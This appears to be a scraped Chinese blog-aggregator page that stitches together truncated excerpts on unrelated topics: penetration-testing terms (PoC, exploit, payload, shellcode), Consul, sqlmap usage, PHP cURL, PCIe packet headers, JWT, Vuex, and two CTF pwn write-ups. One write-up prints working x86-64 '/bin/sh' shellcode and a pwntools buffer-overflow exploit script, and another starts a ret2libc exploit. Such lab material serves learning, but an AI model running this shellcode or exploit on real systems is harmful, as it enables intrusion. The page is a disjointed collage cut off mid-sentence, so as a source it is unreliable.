payload

渗透中PoC、Exp、Payload与Shellcode的区别

感情迁移 提交于 2019-12-06 13:03:14
PoC,全称“Proof of Concept”,中文“概念验证”,常指一段漏洞证明的代码。 Exp,全称“Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。 Payload,中文“有效载荷”,指成功exploit之后,真正在目标系统执行的代码或指令。 Shellcode,简单翻译“shell代码”,是Payload的一种,由于其建立正向/反向shell而得名。 几点注意: PoC是用来证明漏洞存在的,Exp是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了PoC,才有Exp。 Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的Exp,也就是说不存在通用的Exp。 Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。 Shellcode与Shellshcok不是一个,Shellshock特指14年发现的Shellshock漏洞。 另外: 在Metasploit Framework 6大模块中有一个Payload模块,在该模块下有Single、Stager、Stages这三种类型,Single是一个all-in-one的Payload,不依赖其他的文件,所以它的体积会比较大,Stager主要用于当目标计算机的内存有限时

Consul介绍

那年仲夏 提交于 2019-12-06 08:48:57
Consul:服务管理软件。支持多数据中心下,分布式高可用,服务发现和配置共享,成员管理和消息广播,支持ACL访问控制。(相关的其他类似软件Zookeeper、Etcd、spring里的eureka) 官网: https://www.consul.io/intro/index.html 安装: 1 、下载解压之后就是一个可执行文件 2 、拷贝到你的/usr/ local /bin目录中(或者其他你喜欢的环境变量目录) #查看版本(显示版本号表示安装成功) consul -v 接下来我们要学习: 1、服务端模式 负责保存信息、集群控制、与客户端通信、与其他数据中心通信 2、客户端模式 无状态,将请求转发服务端(集群) 3、基于Agent守护进程 Consul Agent https://www.consul.io/docs/agent/basics.html Agent是Consul的核心业务。Agent维护成员信息、注册服务、运行检查、响应查询等等。Agent必须在Consul 集群的每个节点上运行。 Agent Configuration https://www.consul.io/docs/agent/options.html Agent具有可以通过命令行或配置文件指定的各种配置选项。所有配置选项都是完全可选的。 比如: consul agent -data -dir =

渗透中POC、EXP、Payload与Shellcode的区别

跟風遠走 提交于 2019-12-06 07:57:01
1、POC、EXP、Payload与Shellcode POC:全称 'Proof of Concept',中文 '概念验证' ,常指一段漏洞证明的代码。 EXP:全称 'Exploit',中文 '利用',指利用系统漏洞进行攻击的动作。 Payload:中文 '有效载荷',指成功exploit之后,真正在目标系统执行的代码或指令。 Shellcode:简单翻译 'shell代码',是Payload的一种,由于其建立正向/反向shell而得名 2、几点注意: POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。 Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。 Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。 Shellcode与Shellshcok不是一个,Shellshock特指14年发现的Shellshock漏洞。 3、Payload模块: 在Metasploit Framework 6大模块中有一个Payload模块,在该模块下有Single、Stager、Stages这三种类型,Single是一个all-in-one的Payload

【二进制】CTF-Wiki PWN里面的一些练习题(Basic-ROP篇)

荒凉一梦 提交于 2019-12-06 06:44:00
sniperoj-pwn100-shellcode-x86-64 23 字节 shellcode "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" 首先根据 gdb 确定偏移,然后把因为有个 leave 指令会破坏前面的,所以前面的填充为脏数据,然后加上返回地址占据的 8 位空间,确定在 buf_addr 后面 24+8 填充 shellcode from pwn import * sh = process('./shellcode') shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" sh.recvuntil('[') buf_addr = sh.recvuntil(']', drop=True) buf_addr = int(buf_addr, 16) payload = 'b' * 24 + p64(buf_addr + 32) + shellcode_x64 print payload sh.sendline(payload) sh.interactive()

Sqlmap学习笔记(一)

↘锁芯ラ 提交于 2019-12-06 05:56:46
Sqlmap安装 进入 sqlmap官网 ,下载,运行sqlmap.py文件即可 python sqlmap.py 通过pip安装 pip install sqlmap 直接在命令行运行sqlmap即可 Sqlmap直连数据库 sqlmap -d mysql://root:root@localhost:3306/test -f --banner ​ 如果报错需要下载pymysql模块 pip install pymsql ​ -d:直连数据库,后面跟着连接信息 -> mysql://用户名:密码@主机名:端口/数据库 ​ -f:打印DBMS信息 ​ --banner:打印banner信息,准确的版本号 ​ 成功访问,获取mysql信息 [23:47:45] [INFO] connection to MySQL server 'localhost:3306' established [23:47:45] [INFO] testing MySQL [23:47:45] [INFO] resumed: [['1']]... [23:47:45] [INFO] confirming MySQL [23:47:45] [INFO] resumed: [['1']]... [23:47:45] [INFO] the back-end DBMS is MySQL [23:47:45] [INFO

php cURL CURLOPT_VERBOSE not showing payload

安稳与你 提交于 2019-12-06 05:41:55
While the below output from curl provides useful header information, it does not provide the payload information. For example, I would want to see {"jason_index","json_value"} in the debug information provided. 1.) Is it possible to display the payload inline with verbose mode? 2.) What is the best way to view the sent payload that is handled by cURL? * About to connect() to domain.com port 443 (#0) * Trying IP... * connected * Connected to domain.com (IP) port 443 (#0) * successfully set certificate verify locations: * CAfile: /usr/share/curl/curl-ca-bundle.crt CApath: none * SSL connection

蒸米--一步一步学ROPx86--level2

最后都变了- 提交于 2019-12-06 05:14:46
1.运行程序 2.检查程序。32位程序,动态链接,开启了NX(不可执行)保护。也就是说我们不能直接通过写shellcode然后让程序执行这段shellcode来pwn掉它。 3.载入IDA中。很显然有一个可以过量输入而造成的栈溢出。当然程序中并没有 system 和 /bin/sh ,因此我们需要到 libc 中去找到相应的代码,即ret2libc。 4.计算溢出点。 $cyclic 200 #生成200个字符 $cyclic -l xxxxxxxx #计算覆盖长度 5.通过 gdb 或者 ida 查看 plt 表,其中有 write@plt ,因此我们可以通过它将其他函数在内存中的地址打印出来,之后我们便可以得到 libc 的版本,从而获取 system 函数和 /bin/sh 字符串。 6.之后我们可以初步编辑 exp。执行后便可以得到相应函数的地址。 #!/usr/bin/env python from pwn import * p = process('./level2') elf = ELF('level2') write_plt = elf.plt['write'] write_got = elf.got['write'] read_plt = elf.plt['read'] read_got = elf.got['read'] libc_start_main =

PCIe事务层包TLP Header详解

我与影子孤独终老i 提交于 2019-12-06 04:48:19
1、事务层包的一般格式: 包的header为3DW(double word)或者4DW(一个DW代表4字节),数据负载为1~1024DW(即4~4096byte,最大4M),TLP Digest可选,TLP Digest表示检查,即CRC校验可选,长度为1DW(4byte), TLP header的格式和内容会随着TLP的类型和路由(ID、Address、implcit)方式而改变,TLP的类型由Fmt(Format)决定,类型由type决定, 关于byte enable,分为Last DW Byte Enables和First DW Byte Enables,在PCIe中Data Payload的单位是DW,也就是说数据大小(地址)需要以双字进行对齐,优势数据的大小并不是DW的整数倍,因此引入了Byte Enable来解决该问题,需要遵循的原则为: (1)、Byte enable为高电平有效,低电平表示Data Payload对应的byte为无效,不被completer使用。 (2)、如果有效数据小于1DW,即小于4byte,则last DW byte enable应全部为0. (3)、如果有效数据大于1DW,则Last DW byte enable 中至少有一位有效 (4)、如果有效数据大于等于3DW,则first DW byteenable和 关于TLP的Data

JWT实现分布式Session

泄露秘密 提交于 2019-12-06 01:50:51
JWT是什么 JWT一看就是简称,它的 全称JSON Web Token ,从字面上我们看出 1、数据是JSON格式 2、用于Web应用 3、是一个Token,也就是一个令牌方式 看看官方的说明,它定义了一种 紧凑且自包含 的方式,用于在各方之间以 JSON对象进行安全传输信息 。这些信息可以通过对称/非对称方式 进行签名,防止信息被串改 。 紧凑的含义: 就是 JWT比较小,数据量不大 ,可以通过URL、POST参数或 Header请求头 方式进行传输。 自包含的含义: jwt可以让用户自定义 JWT里面包含的用户信息 ,如:姓名、昵称等( 不要放隐密的信息 )。从而 避免了多次查询数据库 。 JWT数据结构 JWT由三个部分组成 1、Header 2、Payload 3、Signature 三者组合在一起 Header.Payload.Signature 案例 看上去是不是满乱,我们来依次看下里面的结构。 Header 这个是 JWT第一段数据,表示头部信息 ,主要的作用是 描述JWT的元数据 ,上面的案例就是: { alg: "HS256", typ: "JWT" } 1、alg属性表示 签名的算法,默认算法为HS256 ,可以自行别的算法。 2、typ属性表示这个 令牌的类型 ,JWT令牌就为JWT。 上面的JSON数据会通过 Base64算法 进行编码而成,看工具图

vuex的commit、payload、actions、setter、mutations等方法案例

安稳与你 提交于 2019-12-05 23:53:19
创建仓库即4步走: // 创建一个仓库,并且存放一些全局数据(四大选项) const store = new Vuex.Store({ // 全局数据 state: { todos: [] }, // 同步函数 mutations: { GETALL(state, payload){ // state.todos.push(...payload) state.todos = payload }, DEL(state, payload){ // 根据id删除state的数据 state.todos = state.todos.filter(item=>item.id != payload.id) }, ADD(state, payload) { console.log(payload) // 插入到数组中 state.todos.push(payload) }, CHANGE(state, payload){ state.todos.map(item=>{ return item.id == payload.id ? payload : item }) } }, // 异步函数 actions: { async GETALL({commit}, payload){ // 请求接口中的数据,然后存储道state的todos中 var data = await fetch("http:/